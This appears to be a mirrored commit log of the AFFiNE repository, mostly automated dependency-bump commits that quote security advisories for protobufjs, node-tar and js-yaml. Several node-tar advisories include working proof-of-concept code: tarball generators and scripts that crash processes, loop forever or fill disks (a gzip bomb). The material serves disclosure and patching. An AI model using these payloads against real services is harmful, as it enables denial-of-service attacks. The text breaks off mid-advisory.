mirror of
https://github.com/toeverything/AFFiNE.git
synced 2026-07-22 04:26:23 +08:00
b6b7f1eeaf2480974482a63ef7be76e40de7f4a1
11394 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
b6b7f1eeaf |
feat(core): improve byok ux (#15303)
fix #15265 #### PR Dependency Tree * **PR #15303** 👈 This tree was auto-generated by [Charcoal](https://github.com/danerwilliams/charcoal) |
||
|
|
7318ef1ed4 |
fix(core): forward svg props to icon renderer (#15278)
## Problem Page reference icon is vertically misaligned because the `pageReferenceIcon` class is not applied. This is because `IconRenderer` does not forward SVG props to the underlying `AffineIconRenderer` component. ## Fix Main fix: - Forward SVG props in `getDocIconComponent`. - Add support for SVG props in `IconRenderer`. Side fixes: - Comment out color in `pageReferenceIcon` style so the icon inherits its parent color now that the class is actually applied - Remove hardcoded SVG margin used for vertical alignment. ## Before / After **Before** <img width="405" height="163" alt="before" src="https://github.com/user-attachments/assets/45c6f0c9-d2f8-4295-832a-03018cbe0bf1" /> **After** <img width="404" height="156" alt="after" src="https://github.com/user-attachments/assets/fa3f955a-b1fd-4bc1-b966-09b5b9d6a7e4" /> ## Related issues - Fixes #14978: Makes icon vertically aligned. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit - **Bug Fixes** - Improved icon rendering so additional display properties are correctly passed through to Affine icons. - Updated document icon components to support standard SVG properties, enabling more consistent customization. - Refined reference icon styling to allow color inheritance from surrounding UI context. - Removed unnecessary spacing beneath reference icons for cleaner alignment. <!-- end of auto-generated comment: release notes by coderabbit.ai -->v2026.7.21-canary.949 |
||
|
|
927cc45c7b |
chore: bump up protobufjs version to v7.6.5 [SECURITY] (#15296)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [protobufjs](https://redirect.github.com/protobufjs/protobuf.js) | [`7.6.4` → `7.6.5`](https://renovatebot.com/diffs/npm/protobufjs/7.6.4/7.6.5) |  |  | --- ### protobufjs: Denial of Service via infinite loop in .proto option parsing [CVE-2026-59877](https://nvd.nist.gov/vuln/detail/CVE-2026-59877) / [GHSA-j3f2-48v5-ccww](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww) <details> <summary>More information</summary> #### Details ##### Summary protobufjs parsed option names by advancing through schema tokens until it reached an `=` token, without checking for end of input. A crafted `.proto` schema that opens an option declaration but ends prematurely could cause the option parser to loop without ever terminating. This affects the reflection parsing path (`parse`, `Root.load`, `Root.loadSync`). ##### Impact An attacker who can provide or influence `.proto` schema text parsed by an application may be able to cause the parsing call to never return. Because Node.js is single-threaded, the blocked event loop prevents all other work in the process, resulting in a denial of service that persists until the process is externally terminated. Applications that only encode or decode protobuf binary data with trusted schemas are not directly affected. ##### Preconditions - The application must parse `.proto` schema text influenced by an attacker. - The schema must be parsed through APIs such as `parse`, `Root.load`, or `Root.loadSync`. - The crafted input must begin an option declaration that ends before its `=` assignment. ##### Workarounds Do not parse `.proto` schemas from untrusted sources with affected versions. If untrusted schema text must be accepted, isolate parsing in a process or worker that can be safely terminated and bound it with a timeout, so a non-returning parse call cannot deny service to the rest of the application. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww](https://redirect.github.com/protobufjs/protobuf.js/security/advisories/GHSA-j3f2-48v5-ccww) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59877](https://nvd.nist.gov/vuln/detail/CVE-2026-59877) - [https://github.com/protobufjs/protobuf.js/pull/2352](https://redirect.github.com/protobufjs/protobuf.js/pull/2352) - [https://github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217](https://redirect.github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217) - [https://github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f](https://redirect.github.com/protobufjs/protobuf.js/commit/fa5c73add738ceb471e74da8cc2f3727c3d0a69f) - [https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5) - [https://github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v8.6.6) - [https://github.com/advisories/GHSA-j3f2-48v5-ccww](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-j3f2-48v5-ccww) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>protobufjs/protobuf.js (protobufjs)</summary> ### [`v7.6.5`](https://redirect.github.com/protobufjs/protobuf.js/releases/tag/protobufjs-v7.6.5): protobufjs: v7.6.5 [Compare Source](https://redirect.github.com/protobufjs/protobuf.js/compare/protobufjs-v7.6.4...protobufjs-v7.6.5) ##### Bug Fixes - handle EOF during options parsing ([#​2352](https://redirect.github.com/protobufjs/protobuf.js/issues/2352)) ([#​2356](https://redirect.github.com/protobufjs/protobuf.js/issues/2356)) ([10fba6d](https://redirect.github.com/protobufjs/protobuf.js/commit/10fba6d54815ceecca8a06b9a6db490c8f5d2217)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
cbc63b9f73 |
chore: bump up tar version to v7.5.19 [SECURITY] (#15297)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [tar](https://redirect.github.com/isaacs/node-tar) | [`7.5.16` → `7.5.19`](https://renovatebot.com/diffs/npm/tar/7.5.16/7.5.19) |  |  | --- ### node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records [CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) / [GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j) <details> <summary>More information</summary> #### Details ##### Summary `node-tar` strips trailing `NUL` bytes from long-name (`L`) and long-linkpath (`K`) GNU extended headers but does **not** apply the same sanitization to equivalent fields delivered via PAX (`x` typeflag) extended headers. A PAX record of the form `path=visible.txt\x00hidden.txt` is parsed verbatim into `entry.path` and flows into `fs.lstat()` / `fs.open()`, which Node.js core rejects with `ERR_INVALID_ARG_VALUE`. The throw originates inside an `FSReqCallback` async chain that is **not** wrapped by the consumer's `await/try-catch` around `tar.x()` — it surfaces as `uncaughtException` and terminates the process. This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through `tar.x` / `tar.extract` / `tar.t` / `tar.Parser`, even when the consumer follows the documented `try/catch` error-handling pattern. A secondary parser-differential (CWE-436) exists because `tar(1)`, `bsdtar`, and Python `tarfile` truncate the path at the first `NUL` (yielding `visible.txt`) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed. --- ##### Root cause ##### Vulnerable sink — `src/pax.ts:157-183` PAX KV records flow through `parseKVLine`. The value half (`v`) is assigned directly to the result object with no sanitization for embedded NUL bytes: ```ts // src/pax.ts:157 const parseKVLine = (set: Record<string, unknown>, line: string) => { const n = parseInt(line, 10) if (n !== Buffer.byteLength(line) + 1) return set line = line.slice((n + ' ').length) const kv = line.split('=') const r = kv.shift() if (!r) return set const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') const v = kv.join('=') // <-- NO NUL STRIP set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) * 1000) : /^[0-9]+$/.test(v) ? +v : v // <-- v with NULs lands here return set } ``` The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between `=` and `\n` contains `NUL`. The result is consumed by `Header` / `ReadEntry`, where `entry.path` and `entry.linkpath` carry the embedded NUL all the way to `fs.lstat()`. ##### Correctly-patched cousin sink — `src/parse.ts:375-388` The equivalent code path for GNU L/K long-headers **does** strip NUL bytes: ```ts // src/parse.ts:375 case 'NextFileHasLongPath': case 'OldGnuLongPath': { const ex = this[EX] ?? Object.create(null) this[EX] = ex ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied break } case 'NextFileHasLongLinkpath': { const ex = this[EX] || Object.create(null) this[EX] = ex ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied break } ``` The `parse.ts` fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching `fs.*`. The PAX path produces the identical primitive but bypasses the guard. ##### Downstream blast radius `entry.path` and `entry.linkpath` are consumed in: - `src/unpack.ts` → `fs.lstat`, `fs.open`, `fs.symlink`, `fs.link`, `fs.mkdir` - `src/list.ts` (no crash — listing tolerates NUL in strings) - Any consumer of the `ReadEntry` event that calls `path.join()` / `fs.*` on `entry.path` The crash fires inside the FSReqCallback Node-internal async machinery, **outside** the user's `await tar.x(...)` Promise rejection boundary. --- ##### Proof of Concept ##### Artifacts - `poc-null-byte-crash.tar` — 3072 bytes — PAX `path=visible.txt\x00hidden.txt` - `poc-null-linkpath-crash.tar` — 2560 bytes — PAX `linkpath=target\x00garbage` (symlink target sink) - `poc1-pax-prefix.py` — minimal PAX-header builder (Python 3, no deps) ##### Tarball generator (minimal repro — Python 3) ```python #!/usr/bin/env python3 """Minimal PAX-NUL-injection tarball generator for node-tar PoC.""" import os def cksum(b): s = 0 for i, x in enumerate(b): s += 0x20 if 148 <= i < 156 else x return s def pad512(buf): rem = len(buf) % 512 return buf + b'\0' * (512 - rem) if rem else buf def hdr(name, size, typeflag, prefix=b'', linkpath=b''): b = bytearray(512) b[0:len(name[:100])] = name[:100] b[100:108] = b'0000644\0' b[108:116] = b'0001000\0' b[116:124] = b'0001000\0' b[124:136] = ('%011o ' % size).encode() b[136:148] = ('%011o ' % 0).encode() b[148:156] = b' ' b[156:157] = typeflag b[157:157+len(linkpath[:100])] = linkpath[:100] b[257:265] = b'ustar\x0000' b[265:270] = b'root\0' b[297:302] = b'root\0' b[329:337] = b'0000000\0' b[337:345] = b'0000000\0' b[345:345+len(prefix[:155])] = prefix[:155] s = cksum(b) b[148:156] = ('%06o\0 ' % s).encode() return bytes(b) def pax(records): body = b'' for k, v in records: kv = b' ' + k + b'=' + v + b'\n' for digits in range(1, 8): total = digits + len(kv) if len(str(total)) == digits: break body += str(total).encode() + kv return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body) out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path out += hdr(b'placeholder', 1, b'0') out += pad512(b'A') out += b'\0' * 1024 # end-of-archive open('poc.tar', 'wb').write(out) ``` ##### Reproduction ```bash ##### 1. Generate tarball python3 poc1-pax-prefix.py # writes poc.tar (3 KB) ##### 2. Install vulnerable version mkdir repro && cd repro npm init -y && npm install tar@7.5.16 ##### 3. Try to extract with documented try/catch — observe uncaught exception mkdir -p ./out node --input-type=module -e ' process.on("uncaughtException", e => { console.log("UNCAUGHT:", e.code, "-", e.message); process.exit(99); }); import("tar").then(async tar => { try { await tar.x({ file: "../poc.tar", cwd: "./out" }); console.log("NORMAL_RETURN"); } catch (e) { console.log("CAUGHT_BY_USER:", e.code); } });' ``` ##### Observed output (verified 2026-06-23 against `tar@7.5.16`) ``` UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/.../out/visible.txt\x00hidden.txt' exit: 99 ``` The exception bypasses the user's `try { await tar.x(...) } catch (e) { ... }` block and lands in the global `uncaughtException` handler. In a typical server without that handler, the process exits. --- ##### Impact ##### Direct: remote DoS Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction: - npm registry tarball ingestion and downstream mirrors - GitHub Actions cache restore (`actions/cache`, `actions/setup-*` extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling - Backup-restore services accepting user uploads - CI artifact processors and badge generators - Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs - Cloud functions that auto-extract uploaded archives A correctly-coded consumer that does: ```js try { await tar.x({ file: req.upload.path, cwd: tmpdir }); } catch (e) { return res.status(400).json({ error: 'bad archive' }); } ``` does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot. ##### Secondary: parser-differential validator bypass (CWE-436) | Tool | Result for `path=visible.txt\x00hidden.txt` | |----------------------------|----------------------------------------------| | GNU tar (`tar -tvf`) | Lists `visible.txt` (truncated at NUL) | | `bsdtar -tvf` | Lists `visible.txt` (truncated at NUL) | | Python `tarfile.list()` | Lists `visible.txt\x00hidden.txt` (raw) | | node-tar `tar.t({file})` | Emits raw NUL-bearing path (no crash) | | node-tar `tar.x({file})` | **Crashes** (uncaught throw) | A pre-flight validator using GNU tar or bsdtar will see a benign filename; the subsequent node-tar extraction blows up. This is exploitable against any architecture that lists-and-validates-then-extracts. --- ##### Suggested patch Match the long-name handler in `parse.ts` — strip everything from the first NUL onward in `parseKVLine` value parsing: ```diff --- a/src/pax.ts +++ b/src/pax.ts @​@​ -173,7 +173,7 @​@​ const parseKVLine = (set: Record<string, unknown>, line: string) => { const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1') - const v = kv.join('=') + const v = kv.join('=').replace(/\0.*$/, '') set[k] = /^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ? new Date(Number(v) * 1000) ``` This matches `src/parse.ts:379` and `src/parse.ts:386` and closes both `path` and `linkpath` sinks in one change. A defense-in-depth follow-up: add an explicit `assert(!v.includes('\0'))` (or fail-soft `return set`) at the top of `parseKVLine` so malformed PAX records that *aren't* path/linkpath also can't smuggle NUL into other unanticipated consumers (e.g. third-party readers of `entry.header.atime` Date objects constructed from `Number(v)` where `v` had embedded NUL). #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-gvwx-54wh-qm9j) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59875](https://nvd.nist.gov/vuln/detail/CVE-2026-59875) - [https://github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3](https://redirect.github.com/isaacs/node-tar/commit/7a635c29f5edbf083557374d43984273ecfed5b3) - [https://github.com/isaacs/node-tar/releases/tag/v7.5.17](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.17) - [https://github.com/advisories/GHSA-gvwx-54wh-qm9j](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-gvwx-54wh-qm9j) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### node-tar: Negative tar entry size causes infinite loop in archive replace [CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874) / [GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w) <details> <summary>More information</summary> #### Details ##### Summary A checksum-valid tar archive with a negative base-256 encoded entry size can make `tar.replace()` loop forever while scanning the existing archive. Applications that update attacker-controlled tar archives can have a worker process pinned indefinitely, causing denial of service. ##### Details The public `tar.replace()` API scans the existing archive before appending replacement entries. During this scan, it parses each tar header and advances the archive position by the parsed entry size rounded to a 512-byte block boundary. Tar supports base-256 encoded numeric fields. A crafted header can encode the entry size as `-512` while still carrying a valid checksum. The replace scan accepts that parsed negative size and uses it in the position-advance calculation. For a size of `-512`, the computed body skip is `-512`. The scan then adds the normal 512-byte header step, resulting in no net progress. The scanner repeatedly parses the same header forever and never reaches the append step. This is reachable through the supported package API when the existing archive file is attacker controlled. It does not rely on extraction, dependency behavior, or an uncaught exception. ##### PoC Save as `poc.mjs` in a project with the vulnerable package installed and run: ```bash node poc.mjs ``` ```js import fs from 'node:fs' import os from 'node:os' import path from 'node:path' import { spawnSync } from 'node:child_process' const oct = (b, n, off, len) => b.write(n.toString(8).padStart(len - 1, '0') + '\0', off, len, 'ascii') const badHeader = () => { const h = Buffer.alloc(512) h.write('x', 0) oct(h, 0o644, 100, 8) oct(h, 0, 108, 8) oct(h, 0, 116, 8) // base-256 encoded -512 in the size field Buffer.alloc(10, 0xff).copy(h, 124) h[134] = 0xfe h[135] = 0x00 oct(h, 0, 136, 12) h.fill(0x20, 148, 156) h[156] = 0x30 h.write('ustar\0' + '00', 257, 8, 'binary') let sum = 0 for (const c of h) sum += c h.write(sum.toString(8).padStart(6, '0') + '\0 ', 148, 8, 'ascii') return h } const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'tar-loop-')) const file = path.join(dir, 'poc.tar') fs.writeFileSync(file, badHeader()) fs.writeFileSync(path.join(dir, 'add.txt'), 'x') const r = spawnSync( process.execPath, [ '--input-type=module', '-e', ` import * as tar from 'tar' tar.replace({ file: ${JSON.stringify(file)}, cwd: ${JSON.stringify(dir)}, sync: true }, ['add.txt']) console.log('completed') `, ], { timeout: 20_000 } ) console.log(r.error?.code === 'ETIMEDOUT') // Output: true ``` ##### Impact An application that calls `tar.replace()` on an existing archive supplied or controlled by an attacker can be forced into a non-terminating archive scan. This can consume a worker process indefinitely and cause denial of service. Plain extraction-only workflows are not affected by this finding. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59874](https://nvd.nist.gov/vuln/detail/CVE-2026-59874) - [https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5](https://redirect.github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5) - [https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18) - [https://github.com/advisories/GHSA-8x88-c5mf-7j5w](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-8x88-c5mf-7j5w) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### node-tar: Decompression/parse DoS via unlimited input [CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873) / [GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw) <details> <summary>More information</summary> #### Details ##### Summary A **Decompression/parse DoS via unlimited input** vulnerability in `node-tar` allows an attacker to exhaust server resources (disk space and CPU). Because the library does not enforce hard upper bounds on total decompressed data or entry counts, a small, maliciously crafted "Gzip Bomb" can be used to fill a server's storage and crash services. ##### Details The `node-tar` library does not enforce a hard upper bound on archive size or the volume of decompressed data processed during extraction. While the `maxReadSize` option exists, it only controls internal read chunk sizes (default 16MB) and does not limit the total cumulative bytes written to disk. Specifically, in `src/extract.ts`, the `Unpack` stream processes entries as they arrive. There is no total-bytes limit, entry-count limit, or decompression ratio guard. An attacker can provide a TAR header claiming a massive file size (e.g., 10GB) and follow it with highly compressible data (like zeros). `node-tar` will continue to extract and write this data until the physical disk is exhausted, as it lacks a mechanism to abort based on global resource consumption. ##### PoC The following Proof of Concept demonstrates how a tiny compressed input can be expanded into gigabytes of data on the host machine almost instantly. 1. Create the exploit script: ```javascript const fs = require('fs'), z = require('zlib'), t = require('tar'); const d = 'dos_test'; if (fs.existsSync(d)) fs.rmSync(d, {recursive:true}); fs.mkdirSync(d); // Build 10GB header const h = Buffer.alloc(512); h.write('payload'); h.write((10*1024**3).toString(8).padStart(11,'0'), 124); h.write('ustar', 257); let s = 256; for(let i=0;i<512;i++) if(i<148||i>155) s+=h[i]; h.write(s.toString(8).padStart(6,'0'), 148); const gz = z.createGzip(); gz.pipe(t.x({cwd: d})); gz.write(h); const b = Buffer.alloc(32 * 1024 * 1024); // 32MB chunks for speed const run = () => { while (gz.write(b)); gz.once('drain', run); }; const monitor = setInterval(() => { try { const bytes = fs.statSync(`${d}/payload`).size; const mb = Math.floor(bytes / (1024 * 1024)); process.stdout.write(`\r[>] Extracted: ${mb} MB`); if (mb > 5000) { console.log('\n[!] VULN CONFIRMED: 5GB+ written from tiny input.'); process.exit(); } } catch {} }, 50); process.on('exit', () => { clearInterval(monitor); console.log('[*] Cleaning up...'); if (fs.existsSync(d)) fs.rmSync(d, {recursive:true, force:true}); }); run(); ``` 2. Run the PoC: ```bash node poc.js ``` **Observation:** You will see the extracted size rapidly climb to 5,000 MB+ within seconds, while the actual data being "sent" through the gzip stream is negligible. ##### Impact This is a **Denial of Service (DoS)** vulnerability. It impacts any application or service that uses `node-tar` to extract archives provided by untrusted users (e.g., npm registries, CI/CD pipelines, or file-sharing platforms). An unauthenticated attacker can send a small payload that expands to consume all available disk space, leading to system-wide failure and service outages. #### Severity - CVSS Score: 9.2 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59873](https://nvd.nist.gov/vuln/detail/CVE-2026-59873) - [https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3](https://redirect.github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3) - [https://github.com/isaacs/node-tar/releases/tag/v7.5.19](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.19) - [https://github.com/advisories/GHSA-23hp-3jrh-7fpw](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-23hp-3jrh-7fpw) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### node-tar: Process crash via PAX numeric path type confusion [CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871) / [GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp) <details> <summary>More information</summary> #### Details ##### Summary A crafted 2.5KB tar archive crashes any Node.js process that extracts it. The PAX header parser coerces all-digit path values to JavaScript numbers, which causes an uncaught TypeError when downstream code calls `.split('/')` on the numeric value. Error handlers and `strict: false` cannot intercept the crash. ##### Details In `pax.ts` line 180, `parseKV` converts PAX values matching `/^[0-9]+$/` to numbers via `+v`. This applies to all fields including `path` and `linkpath`. When a PAX header sets `path` to an all-digit string like `"12345"`, the value becomes the number `12345`. This number flows through Header -> ReadEntry -> Unpack.CHECKPATH, where `normalizeWindowsPath(entry.path).split('/')` throws a TypeError because numbers don't have `.split()`. The throw is synchronous during event emission and bypasses all error handling: - `strict: false` does not help - `'error'` event handlers do not catch it - `'warn'` handlers do not catch it - The TypeError propagates through the event emitter stack as an uncaughtException Directory, SymbolicLink, and Link type entries reach CHECKPATH and crash. File type entries crash earlier in Header constructor at `this.path.slice(-1)`, but that throw is caught and emitted as a warning only. ##### PoC Create a tar archive with a PAX extended header containing an all-digit path: ``` PAX header body: "18 path=12345\n" Entry type: Directory (type '5') ``` Extract it: ```js const tar = require('tar'); // All of these crash with TypeError: t.split is not a function tar.extract({ file: 'malicious.tar', cwd: '/tmp/test' }); // Error handlers don't help: tar.extract({ file: 'malicious.tar', cwd: '/tmp/test', strict: false }) .on('error', (err) => { /* never reached */ }) .on('warn', (code, msg) => { /* never reached */ }); ``` The archive is ~2.5KB. The crash is deterministic on every attempt. ##### Impact Denial of service. Any application or tool that extracts untrusted tar archives crashes from a single small file. This includes npm (which uses node-tar to extract packages), CI/CD pipelines, file upload processors, and backup tools. The crash cannot be caught by application-level error handling. #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` #### References - [https://github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/isaacs/node-tar/security/advisories/GHSA-w8wr-v893-vjvp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-59871](https://nvd.nist.gov/vuln/detail/CVE-2026-59871) - [https://github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b](https://redirect.github.com/isaacs/node-tar/commit/e02a4e9e013c4be95302e2eb2047a942b883c27b) - [https://github.com/isaacs/node-tar/releases/tag/v7.5.18](https://redirect.github.com/isaacs/node-tar/releases/tag/v7.5.18) - [https://github.com/advisories/GHSA-w8wr-v893-vjvp](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-w8wr-v893-vjvp) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>isaacs/node-tar (tar)</summary> ### [`v7.5.19`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19) [Compare Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.18...v7.5.19) ### [`v7.5.18`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18) [Compare Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.17...v7.5.18) ### [`v7.5.17`](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17) [Compare Source](https://redirect.github.com/isaacs/node-tar/compare/v7.5.16...v7.5.17) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzIuNCIsInVwZGF0ZWRJblZlciI6IjQzLjI3Mi40IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
bd3fc7c78e |
chore: bump up js-yaml version to v4.3.0 [SECURITY] (#15298)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [js-yaml](https://redirect.github.com/nodeca/js-yaml) | [`4.2.0` → `4.3.0`](https://renovatebot.com/diffs/npm/js-yaml/4.2.0/4.3.0) |  |  | --- ### JS-YAML: Quadratic-complexity DoS in merge key handling via repeated aliases [CVE-2026-53550](https://nvd.nist.gov/vuln/detail/CVE-2026-53550) / [GHSA-h67p-54hq-rp68](https://redirect.github.com/advisories/GHSA-h67p-54hq-rp68) <details> <summary>More information</summary> #### Details ##### Summary A crafted YAML document can trigger algorithmic CPU exhaustion in `js-yaml` merge-key processing (`<<`) by repeating the same alias many times in a merge sequence. This causes quadratic parse-time behavior relative to input size and can block a Node.js worker/event loop for seconds with a relatively small payload (tens of KB), resulting in denial of service. ##### Details The issue is in merge handling inside `lib/loader.js`: - `storeMappingPair(...)` iterates every element of a merge sequence when key tag is `tag:yaml.org,2002:merge`. - For each element, it calls `mergeMappings(...)`. - `mergeMappings(...)` computes `Object.keys(source)` and performs `_hasOwnProperty.call(destination, key)` checks for each key. When input is of the form: a: &a {k0:0, k1:0, ..., kK:0} b: {<<: [*a, *a, *a, ... repeated M times ...]} all *a entries refer to the same anchored object. After the first merge, subsequent merges are semantically no-ops, but the parser still reprocesses all keys each time. Resulting work is O(K * M), while input size is O(K + M), giving quadratic scaling as payload grows. Relevant code path: lib/loader.js in storeMappingPair(...) merge branch (keyTag === 'tag:yaml.org,2002:merge') lib/loader.js mergeMappings(...) ##### Root cause File: lib/loader.js Function: storeMappingPair(state, _result, overridableKeys, keyTag, keyNode, valueNode, startLine, startLineStart, startPos) Lines: ~359-366 if (keyTag === 